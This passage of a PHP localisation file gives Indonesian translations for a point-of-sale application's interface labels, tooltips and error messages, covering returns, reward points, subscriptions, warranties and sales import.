'total_purchase_return_paid' => 'Total Retur Pembelian yang Dibayar', 'total_purchase_return_inc_tax' => 'Total Pengembalian Pembelian Termasuk Pajak', 'purchase_sell_report_formula' => 'Seluruh (Penjualan - Retur Penjualan - Pembelian - Retur Pembelian)', 'purchase_return_due' => 'Jatuh Tempo Pembelian', 'total_purchase_return_due' => 'Total Jatuh Tempo Retur Pembelian', 'receive_purchase_return_due' => 'Terima Tagihan Retur Pembelian', 'some_qty_returned_from_sell' => 'Beberapa kwantitas diretur pada penjualan ini', 'sell_due' => 'Penjualan jatuh tempo', 'sell_return_due' => 'Retur Penjualan jatuh tempo', 'total_sell_return_due' => 'Total Penjualan jatuh tempo', 'pay_sell_return_due' => 'Bayaran Retur Penjualan Jatuh Tempo', 'total_sell_return' => 'Total Retur Penjualan', 'total_sell_return_paid' => 'Total Retur Penjualan Dibayar', 'total_sell_return_inc_tax' => 'Total Retur Penjualan Termasuk Pajak', 'tooltip_columnize_taxes_heading' => 'Masukkan nama pajak untuk judul, judul harus ada dalam nama pajak. Misalnya judul dapat berupa: CGST, SGST, IGST & CESS (PPN). Untuk nama pajak CGST @ 8% atau CGST @ 10%; SGST @ 10% (PPN) atau SGST @ 8% dll', 'sales_payment_dues' => 'Jatuh tempo Pembayaran Penjualan', 'purchase_payment_dues' => 'Jatuh tempo Pembayaran Pembelian', 'tooltip_sales_payment_dues' => "Pembayaran tertunda untuk penjualan. <br/><small class='text-muted'>Berdasarkan jangka waktu pembayaran faktur. <br/> Menampilkan pembayaran yang akan diterima dalam 7 hari atau kurang.</small>", 'edit_product_price_from_sale_screen' => 'Edit harga produk dari layar Penjualan', 'edit_product_discount_from_sale_screen' => 'Edit diskon produk dari layar Penjualan', 'autosend_email' => 'Kirim Email Secara Otomatis', 'autosend_sms' => 'Kirim SMS secara Otomatis', 'enable_selected_contacts' => 'Batasi kontak yang dipilih', 'tooltip_enable_selected_contacts' => 'Batasi akses ke kontak yang dipilih di kotak pencarian jual / beli pelanggan / pemasok', 'selected_contacts' => 'Pilih Kontak', 'view_role' => 'Lihat peran', 'delete_role' => 'Hapus wewenang', 'mail_driver' => 'Pengontrol mail', 'disable_suspend_sale' => 'Nonaktifkan Menangguhkan Penjualan', 'suspend' => 'Menangguhkan', 'suspend_note' => 'Tangguhkan Catatan', 'suspend_sale' => 'Tangguhkan Penjualan', 'view_suspended_sales' => 'Lihat Penangguhan Penjualan', 'suspended_sales' => 'Penjualan yang Ditangguhkan', 'tooltip_suspend' => 'Tangguhkan Penjualan (jeda)', 'business_telephone' => 'Nomor kontak bisnis', 'accept_terms_and_conditions' => 'Terima Syarat & Ketentuan', 'terms_conditions' => 'Syarat & Ketentuan', 'product_description' => 'Deskripsi Produk', 'click_here' => 'Klik disini', 'for_more_info' => 'untuk info lebih lanjut', 'username_help' => 'Biarkan kosong untuk menghasilkan nama pengguna secara otomatis', 'status_for_user' => 'Aktif ?', 'tooltip_enable_user_active' => 'Centang/Hapus centang untuk membuat pengguna aktif/tidak aktif.', 'user_inactive' => 'Maaf, akun tidak aktif', 'calculator' => 'Kalkulator', 'detailed' => 'Terperinci', 'grouped' => 'Dikelompokkan (Menurut Tanggal)', 'disable_recurring_invoice' => 'Nonaktifkan Faktur Berulang', 'is_recurring' => 'Berulang', 'recurring_invoice_help' => 'Jika berlangganan, faktur ini akan secara otomatis dihasilkan secara berkala. <br> Anda dapat menonaktifkan fitur ini di <code> Pengaturan > Pengaturan Bisnis > Modules </code>', 'recurring_invoice' => 'Faktur Berulang', 'years' => 'Tahun', 'no_of_repetitions' => 'Jumlah Pengulangan', 'recur_repetition_help' => 'Jika faktur kosong akan dihasilkan kali tak terbatas', 'recurring_invoice_message' => 'Faktur Baru dibuat untuk Berlangganan no.:<i>:subscription_no</i>, No. Faktur .: <i>:invoice_no</i>', 'notifcation_count_msg' => 'Anda punya :count notifikasi', 'no_notifications_found' => 'Tidak ada pemberitahuan yang ditemukan', 'edit_multi_unit_help_text' => 'Mengedit nilai ini akan mengubah pembelian & penjualan saham sesuai', 'sale_price_is_minimum_sale_price' => 'Harga jual adalah harga jual minimum', 'minimum_sale_price_help' => 'Jika ini diaktifkan, pada layar POS atau Penjualan harga jual akan menjadi harga jual minimum untuk produk. Anda tidak dapat menetapkan harga di bawah harga jual default.', 'minimum_selling_price_error_msg' => 'Harga Jual Minimum adalah :price', 'lot_numbers_are_used_in_sale' => 'Tidak dapat dihapus, Beberapa lot dari pembelian ini sudah terjual', 'created_at' => 'Dibuat di', 'download' => 'Unduh', 'previous_file_will_be_replaced' => 'File yang diunggah sebelumnya akan diganti', 'access_accounts' => 'Akses Akun', 'payment_accounts' => 'Akun Pembayaran', 'total_shipping_charges' => 'Total Biaya Pengiriman', 'recurring_invoice_error_message' => 'Tidak dapat membuat faktur untuk No. Berlangganan .: <i>:subscription_no</i>. Stok wajib tidak tersedia untuk produk <i>:product_name</i>', 'load_more' => 'Muat lebih', 'cash_flow' => 'Arus kas', 'subscribe' => 'Berlangganan', 'subscription_interval' => 'Interval Berlangganan', 'enable_subscription' => 'Aktifkan Berlangganan', 'subscription_no' => 'Nomor Berlangganan', 'start_subscription' => 'Mulai Berlangganan', 'stop_subscription' => 'Hentikan Berlangganan', 'subscriptions' => 'Berlangganan', 'generated_invoices' => 'Faktur Yang Dihasilkan', 'last_generated' => 'Terakhir dibuat', 'upcoming_invoice' => 'Faktur yang akan datang', 'total_sales_return' => 'Total Pengembalian Penjualan', 'subscription_invoice' => 'Faktur Berlangganan', 'subscribed_invoice' => 'Faktur Berlangganan', 'view_document' => 'Lihat Dokumen', 'invoice_url_help' => 'Tautan untuk melihat faktur tanpa login.', 'unit_cannot_be_deleted' => 'Produk ada dengan unit ini; Tidak dapat dihapus', 'expiry_date_in_business_date_format' => 'Tanggal kedaluwarsa stok dalam <b> Format tanggal bisnis </b>', 'product_stock_details' => 'Detail Stok Produk', 'search' => 'Pencarian', 'total_sold' => 'Total Terjual', 'total_stock_available' => 'Total Stok Tersedia', 'total_stock_transfered_to_the_location' => 'Total stok yang ditransfer ke lokasi', 'total_stock_transfered_from_the_location' => 'Total stok yang ditransfer dari lokasi', 'total_stock_calculated' => 'Total stok dihitung', 'adjust_stock_mismatch' => 'Sesuaikan Ketidakcocokan Stok', 'opening_balance_payments' => 'Membuka Pembayaran Saldo', 'enable_service_staff_in_product_line' => 'Aktifkan staf layanan di lini produk', 'inline_service_staff_tooltip' => 'Jika diaktifkan, staf layanan yang berbeda dapat ditugaskan untuk produk yang berbeda untuk pesanan / penjualan', 'line_orders' => 'Pesanan Baris', 'total_tax' => 'Total Pajak', 'total_discount' => 'Total Diskon', 'net_price' => 'Harga bersih', 'select_same_for_all_rows' => 'Pilih nilai yang sama untuk semua produk', 'edited' => 'Diedit', 'by' => 'Oleh', 'upload_documents' => 'Unggah Dokumen', 'documents' => 'Dokumen', 'click_to_print' => 'Klik untuk mencetak', 'deactivated_success' => 'Berhasil dinonaktifkan', 'products_could_not_be_deleted' => 'Beberapa produk tidak dapat dihapus karena ada transaksi yang terkait dengannya.', 'price' => 'Harga', 'auto_backup_instruction' => 'Untuk mengaktifkan pencadangan otomatis dan pembersihan pencadangan, Anda harus menyiapkan tugas cron dengan perintah ini', 'gross_profit' => 'Laba kotor', 'single' => 'Tunggal', 'variable' => 'Variabel', 'total_purchase_price' => 'Total harga pembelian', 'total_sell_price' => 'Total harga jual', 'packing_slip' => 'Packing Slip', 'use_superadmin_email_settings' => 'Gunakan konfigurasi email sistem', 'profit_by_products' => 'Untung dari produk', 'profit_by_categories' => 'Untung berdasarkan kategori', 'profit_by_brands' => 'Keuntungan berdasarkan merek', 'profit_by_locations' => 'Keuntungan berdasarkan lokasi', 'profit_by_invoice' => 'Untung dengan faktur', 'profit_by_date' => 'Keuntungan berdasarkan tanggal', 'uncategorized' => 'Tidak Dikategorikan', 'add_purchase_return' => 'Tambahkan Pengembalian Pembelian', 'edit_purchase_return' => 'Edit Pengembalian Pembelian', 'purchase_return_updated_success' => 'Pembelian kembali berhasil diperbarui', 'profit_by_customer' => 'Untung oleh pelanggan', 'profit_by_day' => 'Untung di siang hari', 'sunday' => 'Minggu', 'monday' => 'Senin', 'tuesday' => 'Selasa', 'wednesday' => 'Rabu', 'thursday' => 'Kamis', 'friday' => 'Jumat', 'saturday' => 'Sabtu', 'show_product_image' => 'Tampilkan gambar produk', 'view_user' => 'Lihat Pengguna', 'allow_selected_contacts' => 'Izinkan Kontak yang Dipilih', 'allow_selected_contacts_tooltip' => 'Hanya izinkan akses ke kontak yang dipilih di kotak pencarian jual / beli pelanggan / pemasok', 'allowed_contacts' => 'Kontak yang Diizinkan', 'view_purchase_price' => 'Lihat Harga Pembelian', 'view_purchase_price_tooltip' => 'Izin untuk melihat harga pembelian dalam detail produk, transfer stok, dan penyesuaian stok', 'created' => 'Dibuat', 'updated' => 'Diperbarui', 'deleted' => 'Dihapus', 'day' => 'Hari', 'is_service_staff_required' => 'Apakah staf layanan diperlukan', 'items_report' => 'Laporan Item', 'purchase_price' => 'Harga pembelian', 'sell_date' => 'Jual Tanggal', 'returned' => 'dikembalikan', 'dob' => 'Tanggal lahir', 'married' => 'Menikah', 'unmarried' => 'Belum menikah', 'marital_status' => 'Status pernikahan', 'blood_group' => 'Golongan darah', 'divorced' => 'Bercerai', 'contact_no' => 'Nomor kontak', 'fb_link' => 'Tautan Facebook', 'twitter_link' => 'Tautan Twitter', 'social_media' => 'Media Sosial :number', 'permanent_address' => 'Alamat tetap', 'current_address' => 'Alamat saat ini', 'guardian_name' => 'Nama penjaga', 'custom_field' => 'Bidang Kustom :number', 'bank_details' => 'Rincian bank', 'account_holder_name' => 'Nama pemegang akun', 'account_number' => 'Nomor rekening', 'bank_name' => 'Nama Bank', 'bank_code' => 'Kode Pengenal Bank', 'bank_code_help' => 'Kode unik untuk mengidentifikasi bank di negara Anda, misalnya: kode IFSC', 'branch' => 'Cabang', 'tax_payer_id' => 'ID Wajib Pajak', 'tax_payer_id_help' => 'Id nomor pajak karyawan, misalnya, kartu PAN di India', 'more_info' => 'Informasi lebih lanjut', 'id_proof_name' => 'Nama bukti ID', 'id_proof_number' => 'Nomor bukti ID', 'view_own_sell_only' => 'Lihat hanya menjual', 'reward_point_settings' => 'Pengaturan Poin Hadiah', 'enable_rp' => 'Aktifkan Poin Hadiah', 'rp_name' => 'Nama Tampilan Titik Hadiah', 'amount_for_unit_rp' => 'Jumlah pengeluaran untuk unit point', 'min_order_total_for_rp' => 'Total pesanan minimum untuk mendapatkan hadiah', 'max_rp_per_order' => 'Poin maksimum per pesanan', 'earning_points_setting' => 'Pengaturan Poin Penghasil', 'redeem_points_setting' => 'Redeem Points Settings', 'redeem_amount_per_unit_rp' => 'Tebus jumlah per unit poin', 'min_order_total_for_redeem' => 'Total pesanan minimum untuk menebus poin', 'min_redeem_point' => 'Poin tebusan minimum', 'max_redeem_point' => 'Poin tebus maksimum per pesanan', 'rp_expiry_period' => 'Periode kedaluwarsa Poin Reward', 'redeemed_amount' => 'Jumlah yang Ditebus', 'max_points_used' => 'Maksimum :points poin dapat digunakan', 'reward_points' => 'Poin Hadiah', 'max_reward_point_available' => 'Maksimum :name tersedia', 'min_reward_points_used' => 'Minimum :name bisa digunakan', 'redeemed' => 'Ditebus', 'available' => 'Tersedia', 'earned' => 'Menghasilkan', 'total_reward_amount' => 'Total hadiah pelanggan', 'ledger' => 'Buku besar', 'type' => 'Mengetik', 'show_payments' => 'Tampilkan Pembayaran', 'variation_images' => 'Gambar Variasi', 'file_deleted_successfully' => 'File berhasil dihapus', 'combo' => 'Combo', 'not_for_selling' => 'Tidak untuk dijual', 'tooltip_not_for_selling' => 'Jika dicentang, produk tidak akan ditampilkan di layar penjualan untuk tujuan penjualan.', 'show_reward_point' => 'Tampilkan poin hadiah', 'enable_booking' => 'Aktifkan Pemesanan', 'bulk_edit' => 'Edit Massal', 'bulk_edit_products' => 'Produk Edit Massal', 'search_product_to_edit' => 'Cari produk untuk diedit', 'related_sub_units' => 'Sub Unit Terkait', 'sub_units_tooltip' => 'Berdasarkan Unit yang dipilih itu akan menunjukkan sub unit untuk itu. Pilih sub unit yang berlaku. Biarkan kosong jika semua sub-unit berlaku untuk produk.', 'enable_sub_units' => 'Aktifkan Sub Unit', 'added_on' => 'Menambahkan', 'quantity_mismatch_exception' => 'KESALAHAN: TIDAK DIIZINKAN: Ketidakcocokan antara jumlah yang dijual dan tersedia. Produk: :product', 'roles_and_permissions' => 'Peran dan Izin', 'admin_role_location_permission_help' => 'Admin dapat mengakses semua lokasi', 'edit_product_price_from_pos_screen' => 'Edit harga produk dari layar POS', 'edit_product_discount_from_pos_screen' => 'Edit diskon produk dari layar POS', 'download_template_file' => 'Unduh file template', 'types_of_service' => 'Jenis layanan', 'add_type_of_service' => 'Tambahkan jenis layanan', 'packing_charge_type' => 'Jenis Biaya Pengepakan', 'packing_charge' => 'Biaya Pengepakan', 'enable_custom_fields' => 'Aktifkan bidang khusus', 'edit_type_of_service' => 'Edit jenis layanan', 'types_of_service_help' => 'Jenis layanan berarti layanan seperti makan di tempat, parsel, pengantaran ke rumah, pengantaran pihak ketiga, dll.', 'select_types_of_service' => 'Pilih jenis layanan', 'service_custom_field_1' => 'Bidang Khusus 1', 'service_custom_field_2' => 'Bidang Khusus 2', 'service_custom_field_3' => 'Bidang Khusus 3', 'service_custom_field_4' => 'Bidang Khusus 4', 'default_selling_price_group' => 'Grup Harga Jual Default', 'location_price_group_help' => 'Grup harga ini akan digunakan sebagai grup harga default di lokasi ini.', 'default_accounts' => 'Akun Default', 'product_location_help' => 'Lokasi di mana produk akan tersedia.', 'available_in_locations' => 'Tersedia di lokasi', 'enable' => 'Memungkinkan', 'payment_options' => 'Opsi pembayaran', 'pay_reference_no' => 'Nomor referensi pembayaran.', 'search_settings' => 'Pengaturan pencarian', 'custom_labels' => 'Label Kustom', 'labels_for_custom_payments' => 'Label untuk pembayaran khusus', 'packed' => 'Penuh sesak', 'shipped' => 'Dikirim', 'delivered' => 'Terkirim', 'shipping_address' => 'Alamat Pengiriman', 'shipping_status' => 'Status Pengiriman', 'delivered_to' => 'Dikirim ke', 'edit_shipping' => 'Edit Pengiriman', 'shipments' => 'Pengiriman', 'access_shipping' => 'Akses Pengiriman', 'uploaded_by' => 'Diunggah oleh', 'account_types' => 'Jenis Akun', 'add_account_type' => 'Tambahkan tipe akun', 'parent_account_type' => 'Jenis akun induk', 'edit_account_type' => 'Edit jenis akun', 'account_type' => 'Jenis akun', 'account_sub_type' => 'Jenis Sub Akun', 'enable_updating_product_price_tooltip' => 'Jika harga pembelian produk yang diaktifkan dan harga jual akan diperbarui setelah pembelian ditambahkan atau diperbarui', 'default_datatable_page_entries' => 'Entri halaman yang dapat datatable default', 'product_not_found_exception' => 'Produk dengan SKU :sku tidak ditemukan di baris :row', 'price_group_not_found_exception' => 'Grup Harga dengan nama :pg tidak ditemukan di baris :row', 'price_group_non_numeric_exception' => 'Harga non numerik ditemukan di baris :row', 'total_stock_price' => 'Nilai Stok Saat Ini', 'test_email_configuration' => 'Kirim email uji', 'email_tested_successfully' => 'Konfigurasi email berhasil diverifikasi', 'test_number' => 'Nomor Tes', 'test_sms_configuration' => 'Kirim SMS tes', 'test_number_is_required' => 'Nomor tes diperlukan', 'import_contact_type_ins' => 'Opsi Yang Tersedia: <strong> <br> 1 = Pelanggan, <br> 2 = Pemasok <br> 3 = Keduanya </strong>', 'enable_pos_transaction_date' => 'Aktifkan tanggal transaksi di layar POS', 'amount_for_unit_rp_tooltip' => '<strong> Berarti berapa banyak yang dihabiskan pelanggan untuk mendapatkan satu poin hadiah. </strong> <br> <br> <strong> Contoh: </strong> Jika Anda menetapkannya sebagai 10, maka untuk setiap $ 10 yang dibelanjakan oleh pelanggan mereka akan mendapatkan satu poin hadiah. Jika pelanggan membeli $ 1000 maka mereka akan mendapatkan 100 poin hadiah. ', 'max_rp_per_order_tooltip' => 'Poin reward maksimum yang dapat diperoleh pelanggan dalam satu faktur. Biarkan kosong jika Anda tidak menginginkan batasan seperti itu.', 'min_order_total_for_rp_tooltip' => '<strong> Jumlah minimum yang harus dihabiskan pelanggan untuk mendapatkan poin hadiah. </strong> <br> <br> <strong> Contoh: </strong> Jika Anda menetapkannya sebagai 100 maka pelanggan akan mendapatkan poin hadiah hanya jika ada total faktur lebih besar atau sama dengan 100. Jika total faktur adalah 99 maka mereka tidak akan mendapatkan poin imbalan. <br> <br> Anda dapat menetapkannya sebagai minimum 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> Ini menunjukkan jumlah tebusan per poin. </strong> <br> <br> <strong> Misalnya: </strong> Jika 1 poin adalah $ 1 lalu masukkan nilainya sebagai 1. Jika 2 poin adalah $ 1 maka masukkan nilai 0,50 ', 'min_order_total_for_redeem_tooltip' => 'Total pesanan minimum tempat pelanggan dapat menebus poin. Biarkan kosong jika Anda tidak membutuhkan batasan ini atau Anda perlu memberikan sesuatu secara gratis.', 'min_redeem_point_tooltip' => 'Poin tebus minimum yang dapat digunakan per faktur. Biarkan kosong jika Anda tidak membutuhkan batasan ini.', 'max_redeem_point_tooltip' => 'Poin maksimum yang dapat digunakan dalam satu urutan. Biarkan kosong jika Anda tidak membutuhkan batasan ini.', 'rp_expiry_period_tooltip' => '<strong> Periode kedaluwarsa untuk poin yang diperoleh pelanggan. </strong> <br> <br> Anda dapat mengaturnya dalam bulan atau tahun. Poin yang kedaluwarsa akan dikurangkan dari akun pelanggan secara otomatis setelah periode ini.', 'configure_product_search' => 'Konfigurasikan pencarian produk', 'search_products_by' => 'Cari produk berdasarkan', 'credit_sales' => 'Penjualan Kredit', 'total_payment' => 'Total pembayaran', 'deactivate_location' => 'Nonaktifkan Lokasi', 'activate_location' => 'Aktifkan Lokasi', 'business_location_activated_successfully' => 'Lokasi bisnis berhasil diaktifkan', 'business_location_deactivated_successfully' => 'Lokasi bisnis berhasil dimatikan', 'show_credit_sale_button' => 'Tampilkan Tombol Penjualan Kredit', 'show_credit_sale_btn_help' => 'Jika tombol penjualan kredit yang diaktifkan akan ditampilkan di tempat tombol Kartu pada layar pos', 'credit_sale' => 'Penjualan Kredit', 'tooltip_credit_sale' => 'Checkout sebagai penjualan kredit', 'add_as_sub_txonomy' => 'Tambahkan sebagai sub taksonomi', 'select_parent_taxonomy' => 'Pilih taksonomi induk', 'warranty' => 'Jaminan', 'warranties' => 'Jaminan', 'all_warranties' => 'Semua Jaminan', 'add_warranty' => 'Tambah Garansi', 'duration' => 'Lamanya', 'edit_warranty' => 'Edit Garansi', 'enable_product_warranty' => 'Aktifkan Garansi', 'warranty_ends_on' => 'Garansi berakhir pada', 'restaurant_module_settings' => 'Pengaturan modul restoran', 'warranty_module_settings' => 'Pengaturan modul garansi', 'show_warranty_name' => 'Tampilkan nama garansi', 'show_warranty_exp_date' => 'Tampilkan tanggal kedaluwarsa garansi', 'show_warranty_description' => 'Tampilkan deskripsi garansi', 'gender' => 'Jenis kelamin', 'male' => 'Pria', 'female' => 'Perempuan', 'others' => 'Lainnya', 'recent_transactions' => 'Transaksi terkini', 'add_row' => 'Menambahkan baris', 'add_widget_here' => 'Tambahkan widget di sini', 'move_row' => 'Pindahkan baris', 'configure_dashboard' => 'Konfigurasi Dasbor :name', 'change_return_label' => 'Ubah label pengembalian', 'change_return_help' => 'Ubah pengembalian adalah jumlah yang akan dikembalikan ke pelanggan jika kelebihan pembayaran dilakukan.', 'profile_photo' => 'Foto Profil', 'upload_image' => 'Unggah Gambar', 'expense_tax' => 'Pajak Biaya', 'expense_tax_tooltip' => 'Total pajak yang dibayarkan ke pengeluaran bisnis untuk periode waktu yang dipilih', 'tax_overall' => 'Keseluruhan (Input - Output - Biaya)', 'overdue' => 'Terlambat', 'partial-overdue' => 'Sebagian tertunda', 'due_date_label' => 'Tanggal jatuh tempo label', 'show_due_date' => 'Tampilkan tanggal jatuh tempo', 'contact_custom_field1' => 'Bidang Kustom 1', 'contact_custom_field2' => 'Bidang Kustom 2', 'contact_custom_field3' => 'Bidang Kustom 3', 'contact_custom_field4' => 'Bidang Kustom 4', 'added_by' => 'Ditambahkan oleh', 'authorized_signatory' => 'Penandatangan yang sah', 'no_location_access_found' => 'Tidak ada akses lokasi ditemukan', 'location_custom_field1' => 'Bidang khusus 1', 'location_custom_field2' => 'Bidang khusus 2', 'location_custom_field3' => 'Bidang khusus 3', 'location_custom_field4' => 'Bidang khusus 4', 'user_custom_field1' => 'Bidang khusus 1', 'user_custom_field2' => 'Bidang khusus 2', 'user_custom_field3' => 'Bidang khusus 3', 'user_custom_field4' => 'Bidang khusus 4', 'logo_not_work_in_sms' => 'Logo bisnis tidak akan berfungsi dalam SMS', 'notification_email_tooltip' => 'String email penerima yang dipisahkan koma', 'heading' => 'Menuju', 'updated_at' => 'Diperbarui pada', 'documents_and_notes' => 'Dokumen & Catatan', 'add_note' => 'Menambahkan catatan', 'edit_note' => 'Edit Catatan', 'is_private' => 'Apakah Pribadi?', 'private' => 'Pribadi', 'documents' => 'Dokumen', 'note_will_be_visible_to_u_only' => 'Catatan & dokumen hanya akan terlihat oleh Anda', 'activities' => 'Kegiatan', 'no_limit' => 'Tidak ada batas', 'contains_media' => 'Catatan ini mengandung media', 'private_note' => 'Ini catatan pribadi', 'amount_rounding_method' => 'Jumlah metode pembulatan', 'round_to_nearest_whole_number' => 'Membulatkan ke bilangan bulat terdekat', 'round_to_nearest_decimal' => 'Bulatkan ke desimal terdekat (kelipatan :multiple)', 'amount_rounding_method_help' => 'Contoh: <br> <Putaran ke bilangan bulat terdekat: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <Putaran ke desimal terdekat (kelipatan 0,05): </b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Membulatkan', 'round_off_label' => 'Bulatkan label', 'total_sell_round_off' => 'Total penjualan bulat', 'user_info' => 'Informasi pengguna', 'enable_weighing_scale' => 'Aktifkan Skala Berat', 'weighing_scale_setting' => 'Pengaturan barcode Skala Berat', 'weighing_scale_setting_help' => 'Konfigurasikan barcode sesuai skala penimbangan Anda.', 'weighing_barcode_prefix' => 'Awalan', 'weighing_product_sku_length' => 'Panjang sku produk', 'weighing_qty_integer_part_length' => 'Jumlah bagian integer panjang', 'weighing_qty_fractional_part_length' => 'Kuantitas bagian panjang fraksional', 'weighing_scale' => 'Timbangan', 'weighing_scale_barcode' => 'Barcode skala berat', 'weighing_scale_barcode_help' => 'Pindai kode batang dari penimbangan penjualan dan kirim', 'prefix_did_not_match' => 'Awalan tidak cocok', 'sku_not_match' => 'Tidak ditemukan produk dengan sku :sku', 'total_quantity_label' => 'Total label kuantitas', 'account_summary' => 'Ringkasan Akun', 'ledger_table_heading' => 'Menampilkan semua faktur dan pembayaran antara :start_date dan :end_date', 'beginning_balance' => 'Saldo awal', 'total_invoice' => 'Total faktur', 'balance_due' => 'Keseimbangan karena', 'send_ledger' => 'Kirim Buku Besar', 'notifications' => 'Pemberitahuan', 'ledger_attacment_help' => 'Buku besar akan dilampirkan dalam format PDF dengan email ini', 'upload_module' => 'Unggah Modul', 'upload' => 'Unggah', 'pls_upload_valid_zip_file' => 'Silakan unggah file zip yang valid.', 'import_sales' => 'Impor Penjualan', 'preview_imported_sales' => 'Pratinjau Penjualan Impor', 'customer_phone_number' => 'Nomor Telepon Pelanggan', 'customer_email' => 'Surel pelanggan', 'item_tax' => 'Pajak Barang', 'item_discount' => 'Diskon Barang', 'item_description' => 'Deskripsi barang', 'order_total' => 'Total Pesanan', 'upload_and_review' => 'Unggah dan ulas', 'group_sale_line_by' => 'Grup menjual baris demi', 'import_sale_product_not_found' => 'Produk dengan nama :product_name atau sku :sku tidak ditemukan di baris :row', 'import_sale_tax_not_found' => 'Pajak dengan nama :tax_name tidak ditemukan di baris :row', 'email_or_phone_required' => 'Telepon atau email pelanggan diperlukan', 'product_name_or_sku_is_required' => 'Nama produk atau SKU diperlukan', 'quantity_is_required' => 'Kuantitas diperlukan', 'unit_price_is_required' => 'Harga satuan wajib', 'sales_imported_successfully' => 'Penjualan berhasil diimpor', 'upload_data_in_excel_format' => 'Unggah data penjualan dalam format excel', 'map_columns_with_respective_sales_fields' => 'Pilih bidang penjualan masing-masing untuk setiap kolom', 'choose_location_and_group_by' => 'Pilih lokasi bisnis dan kolom tempat jalur penjualan akan dikelompokkan', 'date_format_instruction' => "Format waktu tanggal penjualan harus 'Y-m-d H:i:s' (2020-07-15 17:45:32)", 'product_name_single_only' => 'Nama produk (Produk tunggal atau kombo)', 'product_sku' => 'SKU Produk', 'product_unit' => 'Unit Produk', 'import_sale_unit_not_found' => 'Unit dengan nama :unit_name tidak ditemukan di baris :row', 'types_of_servicet_not_found' => 'Jenis layanan dengan nama :types_of_service_name tidak ditemukan di baris :row', 'email_or_phone_cannot_be_empty_in_row' => 'Telepon atau email pelanggan diperlukan berturut-turut :row', 'product_cannot_be_empty_in_row' => 'Nama produk atau SKU produk diperlukan di baris :row', 'quantity_cannot_be_empty_in_row' => 'Kuantitas produk diperlukan dalam baris :row', 'unit_price_cannot_be_empty_in_row' => 'Harga Satuan diperlukan dalam baris :row', 'imports' => 'Impor', 'invoices' => 'Faktur', 'import_batch' => 'Impor batch', 'import_time' => 'Waktu impor', 'cannot_select_a_field_twice' => 'Anda tidak dapat memilih bidang dua kali', 'revert_import' => 'Kembalikan Impor', 'import_reverted_successfully' => 'Impor berhasil dikembalikan', 'importable_fields' => 'Bidang yang dapat diimpor', 'sort_order' => 'Sortir pesanan', 'total_returned' => 'Total yang dikembalikan', 'skip' => 'MELEWATKAN', 'group_by_tooltip' => 'Kolom untuk mengelompokkan garis penjualan dalam faktur yang sama', 'allowed_file' => 'File yang Diizinkan', 'detailed_with_purchase' => 'Rinci (Dengan pembelian)', 'supplier_name' => 'Nama pemasok', 'purchase_ref_no' => 'Beli ref no.', 'save_and_print' => 'Simpan dan cetak', 'update_and_print' => 'Perbarui dan cetak', 'all_your_discounts' => 'Semua diskon Anda', 'priority' => 'Prioritas', 'starts_at' => 'Mulai Pada', 'ends_at' => 'Berakhir', 'used_for_browser_based_printing' => 'Digunakan untuk pencetakan berbasis browser', 'hsn_or_category_code' => 'HSN atau Kode Kategori', 'discounts' => 'Diskon', 'allow_overselling' => 'Bolehkan Overselling', 'view_own_purchase' => 'Lihat pembelian saja', 'view_own_expense' => 'Lihat hanya biaya sendiri', 'allow_login' => 'Izinkan masuk', 'login_not_allowed' => 'Login tidak diizinkan', 'labels_for_contact_custom_fields' => 'Label untuk bidang khusus kontak', 'labels_for_product_custom_fields' => 'Label untuk bidang khusus produk', 'labels_for_purchase_custom_fields' => 'Label untuk bidang pembelian pelanggan', 'labels_for_sell_custom_fields' => 'Label untuk penjualan bidang khusus', 'labels_for_location_custom_fields' => 'Label untuk bidang khusus lokasi', 'labels_for_types_of_service_custom_fields' => 'Label untuk jenis bidang khusus layanan', 'labels_for_user_custom_fields' => 'Label untuk bidang khusus pengguna', 'total_transfer_shipping_charge' => 'Total biaya pengiriman transfer', 'total_purchase_shipping_charge' => 'Total biaya pengiriman pembelian', 'total_sell_shipping_charge' => 'Total biaya pengiriman pengiriman', 'opening_stock_location' => 'Membuka lokasi stok', 'product_locations_ins' => 'String yang dipisahkan koma dari nama lokasi bisnis tempat produk akan tersedia', 'product_locations' => 'Lokasi produk', 'view_products' => 'Lihat Produk', 'pos_screen_featured_products' => 'Produk Unggulan layar POS', 'featured_products_help' => 'Produk yang dipilih akan ditampilkan di atas saran produk layar pos untuk akses cepat', 'purchase_report' => 'Laporan Pembelian', 'sale_report' => 'Laporan Penjualan', 'payment_date' => 'Tanggal pembayaran', 'year_month' => 'Tahun bulan', 'lead' => 'Memimpin', 'featured_products' => 'Produk Pilihan', 'repeat_on' => 'Ulangi terus', 'access_tables' => 'Akses tabel', 'access_printers' => 'Akses printer', 'access_types_of_service' => 'Akses jenis layanan', 'search_address' => 'Cari alamat', 'contact_locations' => 'Lokasi Kontak', 'map' => 'Peta', 'both_customer_and_supplier' => 'Baik pelanggan & pemasok', 'service' => 'Layanan', 'either_cust_email_or_phone_required' => 'Diperlukan nomor email pelanggan atau nomor telepon', 'either_product_name_or_sku_required' => 'Nama produk (hanya untuk tunggal dan kombo) atau sku produk diperlukan', 'show_invoice_scheme' => 'Tunjukkan skema faktur', 'select_invoice_scheme' => 'Pilih skema faktur', 'recurring_expense_help' => 'Jika diperiksa, biaya ini akan secara otomatis dihasilkan secara berkala.', 'recur_interval' => 'Interval berulang', 'recur_expense_repetition_help' => 'Jika biaya kosong akan dihasilkan dalam waktu tak terbatas', 'recurring_expense_message' => 'Pengeluaran berulang baru yang dihasilkan. Nomor referensi: <i>:ref_no </i>', 'recurring_expense' => 'Biaya berulang', 'generated_recurring_expense' => 'Biaya berulang yang dihasilkan', 'select_contacts' => 'Pilih kontak', 'middle_name' => 'Nama tengah', 'address_line_1' => 'Alamat baris 1', 'address_line_2' => 'Alamat Baris 2', 'dob' => 'Tanggal lahir', 'dob_ins' => 'Format Y-m-d', 'by_purchase_price' => 'Dengan harga beli', 'by_sale_price' => 'Dengan harga jual', 'potential_profit' => 'Potensi keuntungan', 'apply_all' => 'Terapkan semua', 'hide_all_prices' => 'Sembunyikan semua harga', 'select_invoice_layout' => 'Pilih tata letak faktur', 'max_sales_discount_percent' => 'Persen diskon penjualan maks', 'max_sales_discount_percent_help' => 'Persentase diskon maksimum yang dapat diberikan pengguna selama penjualan. Biarkan kosong tanpa kendala', 'max_discount_error_msg' => 'Anda dapat memberikan maks: discount% diskon per penjualan', 'show_invoice_layout' => 'Tampilkan dropdown tata letak faktur', 'recurred_from' => 'Berulang dari', 'recur_details' => 'Detail 